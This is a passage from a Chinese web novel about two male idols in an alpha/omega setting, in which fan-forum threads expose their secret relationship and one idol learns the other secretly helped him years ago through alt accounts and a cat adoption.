【其实倒也不意外,除了电影那次,谁还记得更久以前老哥去时旅家的那两期,前面问答环节不不关于老哥仅在某知名电影中出现几秒的问题一下就答出来了,那才是他最早的露馅时刻吧】 【对!我当时也惊呆了,这种比较虐粉(?)的材料基本都是老粉内部才会知道,很多刚进来的新粉听都没听说过,老三居然就这么不假思索地说出来了,这个比表现得很可疑[思考]】 【这么说老哥又何尝不是,问他老三为什么决定进圈的那个问题他和李子晋直接同时秒答,妈呀李能秒答是因为他和老三是真的好诡秘看过3的访谈,老哥对此这么熟悉是怎么回事,什么人会爱到专门去看队友的专访?】 【还有后面他俩被别的嘉宾针对,老哥站出来说自己私下告知3答案的时候老三眼神明显也很惊讶,那绝对不是提前对过口风能演出来的反应。虽然那期不少人都怀疑13拿到了节目组的透题特意上演好队友情节,但越是这样难道不越该假装犹豫一下再回答吗……?】 【……家人们,我忽然想到一个细思极恐的点。按说在比那会儿的视角里他是不知道老哥在背后悄悄帮自己的,可为什么他在被采访时还要说自己被热心网友建议后一番衡量才决定去的呢,难道不该讲自己是被星探挖掘的更合理吗?这说明什么[惊恐]】 【我去……难道1就是那个热心网友?】 【细思鼻孔,粗思也恐】 【而且!!!1的聊天记录里还说他前些天在公司楼下快餐店里遇见了3,3为什么突然要去scxl楼下?这个问题从我看到聊天记录后就一直在想。注意这个截图里显示的对话日期,就在这差不多一星期前,是老一的生日。源于某个模糊的猜测我去1的超话里根据关键词往前扒拉了好久,找到了当年1生日有关的内容,果然,1f当时有在公司附近设置生日打卡活动,很多人去现场后会拍照返图发到ch,然后我又一张张翻完了所有这些打卡照,终于发现了一张有意思的照片。】 【请看这张图右下角[图片]有个穿黑色羽绒服的男生也在举着手机对场地拍照,我把图片放大了点[图片]有没有觉得这个背影很眼熟,这个博主有条评论也很有意思,截图我放上来你们自己看[图片]】 图上打码了ID的评论是:遇到了一个很好看的alpha小哥哥居然也是汤汤的粉丝!可惜他来得太晚了没有亲眼看到汤汤本人,送了他一些自制的贴纸和拍立得。 【这什么福尔摩斯(惊掉下巴)这个站姿就是3吧……我不信有3f认不出来】 【突然间就理解小说里分别多年再度重逢在人海里仅凭一个背影就能认出对方的情节了,原来真有人从小到大动作细节完全不变】 【……已然失语】 【破案了姐妹们,老三是1f】 【感觉这样就说得通了,虽然依然不清楚具体细节但如果3知道那个“热心网友”是1的话那他那么讲太正常了,自己喜欢的偶像亲自的鼓励当然要排在最优先级】 【小行星即将迎来史上最大牌同担】 【再联想到不不在小号上都是老公老公的叫,惊天超绝梦男粉啊】 【……你是说这只伯恩山过完生日顺便下楼捡了个流浪漂亮小比扔到自己的窝里养着是吗,这样真的不怪比从未成年就芳心暗许啊】 【老一简直是人形天使狗狗】 【看到现在还能觉得不不从17岁喜欢到现在的人不是老哥的人你们真的没救了】 【们13姐莫非真的是天选嗑cp人……前面N年被wf其他拆家cpf轮番暴打,好不容易挨到今年正主关系好了紧接着又被爆出恋爱瓜,放眼cp超话一片哀嚎血流成河结果就这样柳暗花明又一村???】 【我现在算是领悟到诺亚方昼这个名字的真谛了,谁说我们家的cp名不好啊,这个cp名可太好了,世界末日全世界的cpf都被水淹了最后只有我们13姐笑到最后,呀比.jpg】 【姐妹我不能再和你一起玩了,我们现在已经不是一个档次的了,之前我和你说嗑cp嗑得想鼠都是假的我产品已经成真了你知道吗哈哈[心花怒放]】 【事到如今唯有叹服,网友们下辈子我还要和你们一起嗑cp[大哭]】 …… 【日啊哪个缺德的yxh搬了你区的帖子发到微博上去了】 【这么快就实时上升热点了吗】 【rs18了】 【第7了】 【是谁要害我们方舟……公司看了热搜不要棒打鸳鸯拆散我们小情侣啊啊啊】 【想多了,公司大概率在爆恋情的时候就已经和他们谈过了】 …… 【草,热搜又特么登顶了。】 第64章 第 64 章 那咋了,睡的就是你担。…… 方柏嘉要比热搜上的人早一天看到粉丝扒出来的料。 原因是李子晋在微信上二话不说地甩给他了一个链接。 方柏嘉点进去看了两眼, 疑惑地退出来。 方柏嘉:【?你为什么实时sj论坛?】 李子晋讶异:【难道你从来不看这些地方?】 方柏嘉很简洁:【懒得看,烦。老是吵架,不是他的粉丝骂我就是我的粉丝骂他。】 还是CP超话氛围友好又适合他。 李子晋发来一个贱贱的表情。 李子晋:【哈哈我懂】 方柏嘉:【?你懂什么了】 李子晋:【懂——求求你们别骂我老公了你们是骂爽了心疼的是我啊[泪][泪][大哭]】 后面跟了几个看起来更贱的哭哭表情符号。 李子晋:【而且别人的粉丝骂你怎么会和他的粉丝骂你一样呢, 那可是来自未来丈母娘的肯定[邪笑]】 方柏嘉:【我+&*……%#@¥】 方柏嘉:【别逼我骂你】 他一开始之所以换号,就是因为被李子晋这个家伙发现了秘密。 导致他羞耻症大爆发, 不得不连夜注销了当时的账号。 过了段时间还想找地方发泄一下心情,再开新号又有点麻烦, 方柏嘉一时犯懒, 百般纠结间想起自己还有个弃置多年的号—— 因为不舍得私信里和汤昼恒的对话, 方柏嘉当年最终还是选择把这个号保存下来, 换了个别的手机号绑着。 把账号翻出来, 犹豫着要不要重新启用的时候, 方柏嘉也思考过这个号会不会不安全、被汤昼恒发现什么的。 但转念一想,又觉得这都过去多久了,说汤昼恒还记得一个N年前的粉丝账号, 可能吗? 他的私信在对方多如牛毛的消息列表里早被压到最底层了吧? 就算汤昼恒有一天突然想起来他, 一时兴起地想再看看当初那个粉丝有没有发东西, 恐怕也根本无从查起。 方柏嘉就这样说服了自己,开始在清空的老号上继续记录自己的日常点滴。 李子晋:【[给嘴巴拉拉链.jpg]】 李子晋:【别说这些有的没的了,你和你老公的奸情要曝光了!】 方柏嘉:“……” 他和汤昼恒“各自”被爆出恋爱瓜的那两天, 李子晋就看到了网上的八卦, 在微信上轰炸了他十几条消息。 眼下对方又来提醒,估计确实是大事,方柏嘉点进链接接着看了下去。 ……不知道是幸运还是不幸,因为李子晋那么一遭,他这个号上没再关注和点赞过任何和汤昼恒有关的信息;加上方柏嘉有定期清理微博的习惯,小号被爆出来的时候, 有好几条十分“致命”的内容都不在了,所以最开始网友扒到的东西并不多。 不过依然没有多大用。 方柏嘉也是看到帖子里的内容,才知道自己的小号原来早就被人发现并截图了。 “……”方柏嘉缓缓闭上眼。 但怎么说,也不意外吧。 至少对他而言,在这个号被爆出来的那天,方柏嘉就已经做好了后边会被彻底发现的准备。 毕竟就像大家说的,他们的信息实在是太透明了。 相比起那个,他更在意是别的。 方柏嘉的目光久久停驻在网页界面里露出的两只猫头上,左,右,左,右地比来比去,好像发现了一个不得了的秘密,连眼睛都没多眨一下。 所以,他曾捡到过的小橘白真的是汤昼恒现在养的这只? 可骆察又是怎么回事——当年确实是对方来接的小猫没错啊。 方柏嘉努力回忆,等等。 他突然意识到,“骆察”的微信当初是秦高阳推给他的。 从始至终,对方并没有在他面前承认或者展示过,那就是骆察自己的账号。 方柏嘉想起什么,打开app,重新找到骆察最近一条发了橘白的微博: 他当时只放大看了图,并没有仔细去看这条的评论区。 方柏嘉缓缓下拉屏幕,发现在他看不到的时候,底下竟有个不认识的艺人回复骆察:【不是猫毛过敏?[疑问]怎么突然玩上猫了?】 骆察的回答很含糊:【也没那么严重啦。】 方柏嘉瞬间眯起眼。 ——连骆察猫毛过敏都知道,如果他平时就有养猫,对方怎么会是这个反应? 方柏嘉关上手机,慢慢滑进身下的座椅里,陷入沉思。 面前戴着工牌的工作人员在休息室里走来走去。 临近年末,各个平台举办的晚会越来越多,作为当红艺人,方柏嘉接到了不少邀请。 他现在就正坐在某个名人盛典的后台等待着,左手边是同样在玩手机的江白树。 两人都是以个人身份前来参加的活动,只不过刚好被安排在了一块儿。 方柏嘉发了会儿呆,看见这人双手横举着手机,像是在打游戏的样子,顺势看了眼。 江白树正结束一局,退回到房间,准备开下一场。 屏幕右边的好友列表上一列彩色的头像,方柏嘉视线无意一瞥,捕捉到一个白色空白头像。 旁边的ID是:抽象丑猫bot。 方柏嘉的心中好像有炸雷闪过。 ……江白树为什么会有骆察的账号? 他们虽然都在一个公司,但爱豆和演员之间有着天然的鸿沟,日常可以说井水不犯河水。 他视奸了汤昼恒和他的几个队外好哥们儿许久,也没见他们当中的谁和江白树有过交集。 还是说,这根本就不是骆察? 方柏嘉压下心中惊异的波涛,转瞬间心里已经有了主意。 他假装不经意地念出那个有些搞笑的id名,试探着发问:“抽象丑猫bot?你也有他这个号啊?” 说话的刹那间,对方的拇指已经按下排位键。 江白树“啊”了一声,慢半拍抬头看他一眼,不大在意地说:“怎么了?队长不是一直有两个号打游戏吗——哦我忘了,你们之前关系不好,应该也没怎么一起玩吧。” 方柏嘉:“…………” 方柏嘉深吸一口气。 “没事,我就问问。” 很好,现在彻底确定了。 他向后靠在座椅上,联想到自己最初和汤昼恒冷战后和丑猫爱好者在游戏上聊天的那次。 起初他还以为,“骆察”是代替汤昼恒来打探口风的,但如果,隔着网线和他对话的根本不是骆察,而就是汤昼恒本人呢? ……现在想想,汤昼恒好像就是在那次后忽然对他变得无比主动起来的。 靠! 方柏嘉在心中骂了一声,脸上瞬间烫了起来。 心机的汤昼恒,居然装成别人的样子来套他的话—— 虽然他的小号上已经有过很多重量级的言论了,但一想到自己曾亲口对汤昼恒坦言过那种酸溜溜的暗恋不得的内容,杀伤力依然不是一般的大。 直至回到酒店,方柏嘉都在纠结该怎么和汤昼恒开口说这件事。 是直接摊牌,还是采用迂回一点的招数? 他打开游戏界面看了一眼,汤昼恒没上线。 想了想,干脆直接微信上给对方的小号发: 【在?可以看看猫吗?又有好几个月没看过新照片了[微笑]】 也许是汤昼恒不常登小号,一直到第二天晚上十一点多,丑猫爱好者——汤昼恒才给他回复。 【可以。】 几乎是毫无间隙地,对方立刻给他传了三四张照片。 果然还是那个老样子,像是从拍出来的一百张照片里恰好挑出来最不上相、角度最离奇的几张,充斥着类似直A的微醺味。 换做从前,方柏嘉肯定要开始不满意了。一两次也就算了,怎么每回选的照片都这么敷衍? 可自从知道屏幕对面的人是汤昼恒后,方柏嘉再看他们的对话,心态就明显变了。 一想到对方费力地摆弄手机想要拍出丑照,就为了不让方柏嘉看出这和汤昼恒养的那只橘白是同一只猫,从而暴露他就是“丑猫爱好者”的事实,方柏嘉甚至心生出了一点愉悦。 他来了精神,从床上坐直起来,斟酌几秒打字道:【为什么你每次拍的照片都这么糊啊?就没有清晰点的能看清正脸的图吗?】 发完还觉得不够,方柏嘉又假装发难:【该不会你早就把我的猫弄丢了,这只是另外捡来糊弄我的吧?】 【命令你现在发更多图过来,快!!!】 【否则我要报警了!】 也不知道猫丢了能报哪门子的警。 方柏嘉想到什么说什么,突然间“性情大变”得完全没有之前那股礼貌客气的味道,变得咄咄逼人起来。 汤昼恒不知道发生了什么,整个人明显陷入迟疑和不确定的状态。界面顶端,丑猫爱好者的id几次变成“正在输入”又消失。 几分钟后,对面跳出新图。 看来是临时思考了紧急对策,知道自己以前的方法已经引起了“逆反”,不再奏效,他这回没再投机取巧,发了两张手包着猫头的照片。 ——确实露脸了,但脸周一圈都被alpha宽阔有力的手掌围裹着,花纹也被挡住不少,只能看见橘白眯眼凑向屏幕的样子。 方柏嘉几乎看笑,觉得就这么看汤昼恒少见地慌乱也很有意思。 他轻轻舔着下唇,瘦窄的脸被手机发出的光微微照亮。 猛然间一改攻势,又重新显出温和来。 用一种暧昧的语气说:【手不错。】 【多发几张过来让我欣赏一下,我就原谅你。】 丑猫爱好者:【?】 网线对面的汤昼恒先是一愣,紧接着迅速反应过来。 方柏嘉不可能这么对“骆察”说话,更何况他前一句话都还在发火,又怎么会下一句突然人格分裂似的和一个不相干的人调情。 那么只有一种可能。 自己的行迹“败露”了。 他轻轻叹口气,干脆也不装了。 切回自己的微信主号,无奈地敲了几个字过去。 汤昼恒:【你搞什么?】 汤昼恒甚至不需要去额外思索自己到底哪里露了馅。 下一秒,正在他旁边蹲着给猫梳毛的小周就看着手机,“我靠”了一声:“老板,又又又——又上热搜了!” * 时值夜晚,正是大多数人一天当中最为悠闲的时刻。 #汤昼恒方柏嘉#、#汤昼恒方柏嘉恋爱# 两个热搜以可怕的速度飞快上升着,像骤然从平地窜向天空绽放的烟花,在短时间内迅速铺满了人们的视野。 这会儿距离那次混乱的爆料两连发已经过去了一个星期,绝大多数人对热搜的第一反应都是迷茫。 恋爱瓜不是已经爆过了吗,怎么又来一轮,而且还登顶了? 难道是终于扒出了嫂子? 可也没看见有其他名字出现。 带着这样的困惑,与某些隐隐而不可置信的猜测,他们纷纷点进了热搜词条。 起初看到营销号发的内容时,这些人是不屑的。还以为又是什么无所不用其极博流量的招式和把戏,抱着“我倒要看看能怎么编”的心态,点开微博长图,随意地看了几眼罗列出来的证据。 ……然后不知不觉地看完了。 这天晚上,汇总的吃瓜链接在各种大群小群里被转发了无数次,引发出一声声“卧槽!”。 话题的热度高居不下,任何一个和事件中心的两者稍有些关系的人在微信上都被问爆了,经纪人danny哥更是遭到了无数的电话轰炸和骚扰。 网络世界风起云涌,喧嚣不休了一夜。 ——第二天,山川相缭轻飘飘地通过相熟的媒体发表了回应。 [“艺人隐私无法确认干涉,如果是也请大家放平心态看待。”] 【等了一晚上就等来把人当成傻子的回答……】 【scxl看着自己说的话笑了没,前段时间给3辟谣黑料那么快和个人隐私无关是吧,现在又确认不了了】 【我怎么觉得这条回应是在提前铺垫打预防针,无法干涉也是在偷偷传递公司的态度吧,话里话外都有一种我们默认了但不能直说的意思】 【所以有些人到底在期待什么,用脚趾头想scxl也不可能承认这对恋情的吧,两个团内正当红大top私下偷偷谈恋爱就算了难道公司还出来力挺?那不得被粉丝撕碎。证据太多了非说没在谈也很假,yes和no里只能选择or了】 【?道理我都懂放平心态看待是什么鬼说法】 【讲给小行星和小方糖听的吧(。)】 【不管怎么说这都变相地石锤了吧,恭喜小行星小方糖多年纯恨对家终成亲家——】 【只看到了马上要整装待发上战场的恶婆婆和坏岳母】 【小行星小方糖kswl】 【?】 【没关系呀,粉丝再怎么吵也不会动摇你们哥哥的感情分毫,毕竟“求求你们不要再骂我老公了你们是骂爽了心疼的是我啊”[泪]】 【求求你们不要再骂我老公了你们是骂爽了心疼的是我啊[无辜]】 【求求你们不要再骂我老公了你们是骂爽了心疼的是我啊[邪笑]】 …… 【经典咏流传】 【我TM真的笑疯了,刚在外面一栋小行星小方糖打架的楼里已经看到有人用这句话做出的表情包在劝架了,杀伤力惊人】 【预感到从今以后每次1f3f吵架缺德乐子人都会拿这个表情包来刷屏】 【不止,多出去逛几圈还有:[那咋了,又没睡你担.jpg](两位单人+双人ver)[那咋了,睡的就是你担.jpg](两位单人+双人ver)】 【[报告祖国,今日已爽睡中国alpha.jpg]】 【[报告公司,你的两位大top是gay.jpg]】 【[诺亚方昼为我国计划生育起到带头作用.jpg]】 【[诺亚方昼为公司后辈做出同性恋表率.jpg]】 【[诺亚方昼为我国安全套销量做出巨大贡献.jpg]】 【[诺亚方昼平均每晚杀死四亿多人.jpg]】 【啊啊啊啊我求你们别发了!】 【不愧是中国速度,方舟姐们蚝油才华[大拇指]】 【……不不知道他很久以前无意中发的一条微博会被玩成这样吗】 【没关系,起码当大家用起表情包的时候他发这条wb的目的就已经达到了[安慰]】 【这下13姐是真的此身终于分明了,真不是我们cp脑要嗑,而是我嗑的cp它本来就是真的啊[无辜][大眼萌]】 【李涛,方舟喜结连理后们小行星小方糖是不是可以消停一下化干戈为玉帛了,毕竟正主看起来他超爱】 【……想多了,自古以来娱乐圈的真夫妻也没见过粉丝和和睦睦的,只会更加恨相方以及在往后余生都打卡盼望他们分开】 【想多了+1,1f3f只会洗脑自己公司没有正面回应那就不是真的并且继续加倍在各种官号下辱骂催他们出来澄清(……)】 【3f前段时间还在感谢公司出来辟谣还不不一个清白,粉丝的感恩之心就这么转瞬即逝】 【?不不的小号都已经那么锤了他们还想要什么澄清?真是假的gs不早出来否认了……这种暗示都看不懂吗】 【这你就不懂粉丝自欺欺人的能力了的吧,现在他们的内部说法是老三被公司要挟了,因为要给皇族老哥的恋情打掩护所以没法澄清,包括后面爆出来13恋爱也是gs帮老一卖腐□□要吸3的血】 【啊啊啊啊啊啊啊求问信了的小方糖平均年龄】 …… 【还是有件事没弄明白,按照结果来反推,所以老一被爆出的那张拥抱照里的另一个主角是老三???可是看个头完全不像啊???】 【嗯……你有没有发现ss姐图上码掉的部分刚好挡住了3的下半身,有没有可能,3的实际姿势是向前倒在1身上的所以看着矮了,而拍照人是为了遮掩这一点才把图涂得面目全非掩人耳目好让人认不出这是3?】 【……什么呀?这头头是道的样子,楼上是ss姐本人出现了吗[惊恐]还是相关的人脉姐?】 【哈哈不要误会我不是她本人,只是刚好认识她并且私下和朋友推测过她的心理而已,而且她确实是1毒唯极度讨厌3的那种】 【等等,所以ls的意思是ss姐明知道1和3谈了也受不了但是又特意帮他隐瞒了?这是为啥啊???要爆就爆全,都爆了居然还把图打码成那样,搞得她这个爆料都显得不可信了,被1f后来抓着这点说她造谣】 【一种示威+警告吧,可能ss姐刚发出来的时候还抱有一种幻想希望老一看到了能迷途知返向她服软,然并卵,ss姐后来在pyq发疯说老一不接她的电话还把她五个手机号全拉黑了】 【?????】 【五个手机号……ss姐这又是何必呢,不如直接拿料去找公司要钱】 【都这样了还不爆能是什么原因,舍不得呗,虽然对他找了alpha嫂子还是自己最不愿意看见的那个恨得牙痒痒但真要爆料的时候又狠不下心,而且当ss的享受的就是这种自己手上有料被圈内xmm追捧的快感,ss姐基本上又不缺钱,不在乎那点封口费[笑哭]】 【ss姐是那个有一天突然连发了十二条pyq说谁都可以凭什么是他自己要崩溃了的那位吗?】 【对,看来不止我一个人亲眼目睹她深夜发疯】 【她就是个关种可以说吗[白眼]嘴上说什么别来问我我不会讲其实是个人去私她她装模作样一下也就大漏勺一样地说出去了(虽然没说对方是谁),搞得那段时间3大粉都知道1谈恋爱了在那私底下偷偷想扒1嫂子】 【结果最后3f扒来扒去发现3偷偷去某店的行程+老一的动态刚好也和3小号上的“哥哥”吻合又歇菜了我也是xs】 【?】 【你们没发现这两家都有几个之前很活跃的战斗粉在一开始恋爱瓜的时候一反常态地完全没声吗,要是放在往常他们早就开麦指挥手下的小粉丝互殴了,突然装死还不是担心打着打着把自家也抖露出来】 【不止啊,还有原本骂着骂着看到1ss爆的打码照忽然中途收声开始删wb的,非常精彩[大笑]】 【这时候我不禁又要问了你区到底暗藏着多少人脉?】 【你区真的是人才济济…………这几天炸出了多少知情人,合着你们之前都揣着明白装糊涂等到事情败露不用捂了才坦白是吗】 【早说了你燈圈名人全在区里】 【不理解,为啥3f看到1ss的爆照就删了……?】 【既然都到现在了那我可以说了吧,其实照片被爆出来当天我的3f朋友就跟我说他认出来图上的是3了,相信看出来的肯定不只她一个人[跪]不过大家都没说她也跟着装傻[闭嘴]】 【???这又是怎么看出来的】 【老三那天去看战队成员排练穿的衣服右肩上有个彩色金属挂饰,ss姐涂马赛克的时候没有完全盖住,讲道理这对当天见过他上班穿搭的人来说太好认了】 【草,我也,当时1被爆看着首页的同担都在顺势嘲讽我真想说你们现在帮着加热词条到时候1f受不了把秘密全踢爆了你们绝对会后悔的……】 【好奇,你的同担都是小方糖那你是……?】 【我是一直在偷偷嗑13的小方糖[嚎啕大哭]对不起我桂霞了但天地可鉴我一直是举双手双脚支持1哥夫的好3f(!)】 【很好,我宣布有品位的3f被赦免了】 【结果其实最后把这个秘密踢爆的是3f自己,笑鸟了(虽然没有明说不过如果不是那个3f忍无可忍放出小号你区后面也扒不出这么多证据】 【?合着那个放小号的原来是小方糖啊?我看外面都说不不的瓜是1f被3f激怒后一气之下想要拖人下水爆出来的】 【当然是3f啊。虽然大家都说小行星小方糖恨对家到有什么资讯都先对家粉一步知道,但如果真是那样3他爹当年的“爆料”怎么会到不久前才又被挖出来,3f放出小号本质上是一种爱之深责之切的恨铁不成钢,类似于:我们这么拼尽全力帮你撕对家你怎么可以背叛我们(。)】 【简称:破防了】 【她当然是3f,当时看她发帖我点进主页一看发现早已被我拉黑就知道她肯定骂过老一,那些天区里还一堆说她是1f报复的我真的无语】 【所以你是……?】 【我是私底下偷偷嗑13的1f[嚎啕大哭]对不起我也桂霞了,我指天发誓本人绝对没有骂过3!】 【。】 【……我总算看懂了,总结一下,所以现在的情况是,1ss(兼dw梦女)抓包1有嫂子调理了一个月还是没调理好发现嫂子是3彻底受不了爆料了,3f内部大粉其实也早知道3有这么一个小号但选择沉默溺爱,前段时间1爆恋爱瓜3f本来想私下扒一扒1的嫂子看能不能一举将1的粉圈击溃,结果私下一对各种行程细节发现和1高度重合,加上1ss爆图彻底锤了,然后某个3f接受不了1是自己的哥夫也崩溃走上1f的老路】 【o……m……g,楼上绝对正解,1f3f真是成也对家败也对家,本来可以好好捂着隔岸观火的,非要掺和一脚,最后把自己家也牵扯进去了[笑哭]】 【我也看懂了,所以其实前些天论坛高楼里扒过的内容小行星小方糖私下早就扒过了只是选择憋着,妈呀粉丝你们也是够能忍的】 【小行星小方糖就算心里再怎么崩溃也得帮蒸煮捂嫂子/哥夫呀[吐舌]】 【怎么回事,因为1f3f的破防和隐忍导致这个诺亚方昼看起来更好嗑了】 【毕竟唯粉只对真嫂子/哥夫破防[邪笑]】 【我嘞个超绝恨对家,刚去搜了一下@汤昼恒方柏嘉今天分手了吗已经火速建好在打卡了[比心]】 【再定睛一看账号创建时间九天前,合着除了底层粉丝谁都知道方舟早就搞在一起了】 【所以说啊像13这种热度的明星真谈了怎么可能瞒得住,早有无数双眼睛暗中盯着他们的一言一行,然后就这样不停地告诉亲友,亲友再告诉亲友,普通散粉兢兢业业帮忙反黑辟谣,其实大粉站姐ss早就互相通气但表面上还要装作都是公司陷害对家造谣我们宝宝还是清清白白没恋过爱的小处男!】 【其实宝宝都被老公做熟了】 【草啊怎么又开起车来了】 【wf私生在为了嫂子夜不能寐的时候13在被窝里甜甜蜜蜜,这才是真虐文,一想到粉丝从前爱吹13守身如玉超级敬业不谈恋爱结果只是一直在等对方我就露出淫/笑】 【恶心自家唯粉是真的,们诺亚方昼是真的享受[比心]】 …… * 两人在年底最后几天见了面。 12月31号,是各大卫视举办跨年活动的日子,他们组合也合体了一次,提前两天飞到一个地方彩了排,在31号当晚参加了哲城的跨年晚会。 大家基本都有别的行程,结束后便分头离开了。 只有方柏嘉跟着汤昼恒回了他在某店的小区——晚会举办地点离这里还算近,开车过去两小时出头。 两个人都提前请了生理假,有三天的假期不用跑动。 方柏嘉还算轻装出行,拎了一个24寸的行李箱来了汤昼恒的住处,一打开门,家里五六只猫顿时又喵喵叫着向他们跑来,在两人的小腿边上蹭来蹭去。 方柏嘉行走都变得困难,有几次差点被猫绊倒,他不得不一边发出声音驱赶,弯腰将凑到腿边的猫咪从地上拔起来放到一旁,一边艰难地从鞋柜里拿出他之前穿过的拖鞋给自己换上。 做好这件事,他才又走过去一把捞起橘白相间的大猫,抓着它的腋下把它架起来和自己对视:“胖咪胖咪——让我看看你到底长什么样。” 他这样佯作不经意地说着,一边侧头瞥了瞥汤昼恒。 汤昼恒接到他暗示性的目光,嘴角好笑似的提了提,在玄关上摸了一会儿,忽然拿起一个彩色的塑料包装袋,隔空扔给他。 “给,我的猫的另一个爸爸,给孩子们分点东西吃——不过一只猫只能喂一块,别给多了。” “……”方柏嘉接住东西,低头一看,是一袋冻干,不由哑然了一瞬。 靠,这心机的alpha,竟试图通过这种方式软化他的态度。 可恶啊!方柏嘉不得不承认,他在那一刻确实不争气地喜不自胜了一下。 但正事还是要讲的。 那天方柏嘉看到帖子,转头跟经纪人说了一声,让他做好准备。后面果然再度“东窗事发”,两人紧接着又被danny哥叫去开视频会议,丑猫爱好者的事就此被按下来。 现在,他终于可以当面和汤昼恒“对峙”了。 方柏嘉加快手上速度,三两下把冻干给家庭成员们分好了,随后站起身来,拍拍手道:“说吧,到底是怎么回事?” 他抬起下巴指了指橘白的方向,一副你不坦白今天就别想睡了的架势。 汤昼恒没有立刻回答他的问题,而是走去不远处的开放式厨房边洗手边问:“饿不饿,想吃什么?我今天刚叫小周买了点菜上来,可以给你做宵夜吃。” 方柏嘉才不给他转移话题的机会,“啧”了一声道:“你别打岔,我现在严肃着呢。” 汤昼恒手上动作顿了顿:“所以你是不饿?” 方柏嘉摇摇头。 汤昼恒又问:“真的不吃?” 方柏嘉干脆道:“不吃!” “好吧。”汤昼恒将面前的水龙头关上,甩了甩手。 “所以你想知道什么?” 他突然变得干脆,方柏嘉反而不习惯了。 虽然他是打算主动出击没错,可方柏嘉本来是想让汤昼恒自己坦白的啊—— 怎么又搞得他跟被老师提问了似的。 方柏嘉在原地伫立半才说:“你……是不是特意拜托秦高阳照顾我来着?” 他也是看了帖子才意识到这点。 曾经他们公司老板为了筹集男团的备用人选,特意将一部分公司里适龄的alpha演员也送来和练习生们一起培训,秦高阳就是其中之一。 此人天生的自来熟,性格爽朗大方,不知道出于什么原因,一直对方柏嘉还不错。认识第一天就主动加了他的微信,说看他跳舞很好,以后会多找他请教。 此后隔三差五就会和他聊聊,问他是哪的人,有没有在首都逛过,自己改天要去哪哪,问方柏嘉要不要去;逢年过节发现方柏嘉落单,也会叫上他一块吃饭。 后来方柏嘉急着给小猫找主人,甚至为了省钱差点把身体搭上,秦高阳知道这件事,立刻找上来说他可以帮忙找靠谱的领养。 方柏嘉作为汤昼恒的铁杆粉丝,自然知道他和谁关系不错,只觉得汤昼恒性格很好,那他的朋友也性格很好,这是很正常的事。 却从来没想过,这背后依然有汤昼恒的帮助。 方柏嘉说:“骆察也是你特意叫来假装的领养人,其实最后猫被你接回去养了,对吧?” 他这样问,语气却很肯定。 下一句才又变得飘离起来。 “……可是为什么?” 为什么要这么大费周章,掩人耳目地帮他。 又为什么隐瞒到现在? 要不是这次事件被爆出来,汤昼恒是不是就一直打算不说? 方柏嘉的心里萦绕着无数的问号。 直到听见汤昼恒说:“这件事应该问你。” 高挑的alpha从洗菜池边抽出纸巾,擦了擦手,保持着这个动作,忽然朝他走了过来。 “是谁先二话不说删掉所有微博跑掉的?” “又是谁在接受了我那么多好意后跟我谎称自己没选上?” “最后是谁从见面起就一直装作和我不认识,还动不动就挑衅我,一直把这个状态维持了整整四年?” “你觉得我遇上这种情况会怎么想?应该怎么做?居然还好意思质问我为什么不说——” 汤昼恒的表情骤然覆上一层淡淡的严厉,像他每次抓住对方的把柄后试图以年上者的身份教育的样子,四周的气压仿佛也因此低了下来。 “哥哥!”方柏嘉的语气中带上惊慌,宛如不知道自己怎么就突然被翻起旧账的小狗。 “你不是说不怪我吗?!” “不怪你,是因为我理解你的举动。”汤昼恒挑了挑眉,“可我说我不在意了吗?” 第65章 第 65 章 ……一直都很喜欢你啊。…… 汤昼恒说着, 继续一步一步地朝他靠近。 步伐闲适,但语调又带有压迫感。 方柏嘉哪里见过这个阵仗,下意识跟着他前行的脚步往后退。 倏然间, 大腿后侧碰上客厅沙发侧面的扶手。方柏嘉一个不察,身体因为惯性向后仰倒。 转瞬间天旋地转, 躯干失重,青年睁大眼睛, 一边和正面对的汤昼恒对视着一边掉下去。 汤昼恒见他这样, 也吓一跳, 短暂地怔愣一瞬后迅速向前几步, 捞住对方腾在空中的腰。 只是来得太晚, 他们还是一起跌落下去。 ……还好身后就是柔软的沙发座垫, 即便摔上去也不疼。 两人间的距离倒是瞬间拉近到了极限,倒下的瞬间方柏嘉下意识抱住来人,来自汤昼恒身躯内部的体温透过衣物渡了过来, 像个巨大的人形散热器, 带来一阵樱桃香气的暖风。 对方手肘撑住一侧, 斜过来的手掌刚好托住方柏嘉的后脑勺。 忍不住叹息一声,像看着在家里到处捣乱的小狗:“怎么,你就这么怕我追究你的责任?” 方柏嘉倒是回答得很诚实:“因为我心虚啊。” “……” 汤昼恒收回搭在沙发扶手上的腿, 从方柏嘉的身上翻过来, 两人面对面地侧躺着。 见汤昼恒盯着他,方柏嘉没忍住从旁边拽来一个抱枕抱在怀里,挡住自己的下半张脸。 过了几秒,听见汤昼恒开口道:“你真的想知道我到底是怎么想的吗?” 方柏嘉抬起头,双手依旧举着抱枕挡在面前,像是想了想, 很快地点点头。 汤昼恒深深地盯着他看了好一会儿,仿佛终于做了某个决定一般,脸上的表情让人捉摸不透地说:“我觉得你始乱终弃,见异思迁了。” “……” 方柏嘉原本正在深呼吸,听到这话,不知道被哪儿来的口水呛到,忽然开始猛烈地咳嗽起来:“咳咳咳、咳咳!” 救命! 一想到始乱终弃这种词语是从汤昼恒的嘴里说出来的,方柏嘉就有种说不出的魔幻感。 他胆颤心惊地握拳抵住唇边,将最后一点刺痒的感觉也从嗓子眼里排空,睫毛颤颤地抬眼看着汤昼恒:“……哥哥,你可不要乱说话啊。” 汤昼恒声线冰凉:“怎么,你很意外?那我问你,换成是你,看到一个号称是你粉丝的人不久前还在微博上说‘老公爱你’,转头就在你尽心尽力地帮他打听事情后二话不说地撇清关系,甚至后来还完全清空了账号,你会怎么想?” ——演艺和音乐两个部门并不互通,为了不弄错情报,汤昼恒当时是专门去找公司里负责这一块的员工咨询的遴选练习生的相关事宜。 这件事,他那几个演戏的朋友都知道。 后来方柏嘉在账号上“人间蒸发”,几个人里年纪最大的齐安歌说汤昼恒大概率被人骗了—— 对方肯定是知道汤昼恒容易心软,利用自己的粉丝身份故意博取他的同情,从而达到让他主动帮助自己进入公司的目的。 一旦目标达成,立刻就过河拆桥,和汤昼恒撇清关系,假装两人并不认识。 汤昼恒虽然不解,却也觉得对方说的不是真的。 如果方柏嘉的确只是把他当成向上爬的工具,为什么不继续和他联络、搞好关系,这样能获得的便利难道不是更多? 何况方柏嘉在他面前表现出来的样子,分明是不想过多麻烦自己,汤昼恒要给钱让他去住宾馆,方柏嘉也没要。 这和齐安歌说的不符。 相比起不满,汤昼恒更多感觉到的是困惑。 困惑他为什么要隐瞒自己,为什么突然换了口风,变得客套,从此斩断汤昼恒继续帮助他的可能。 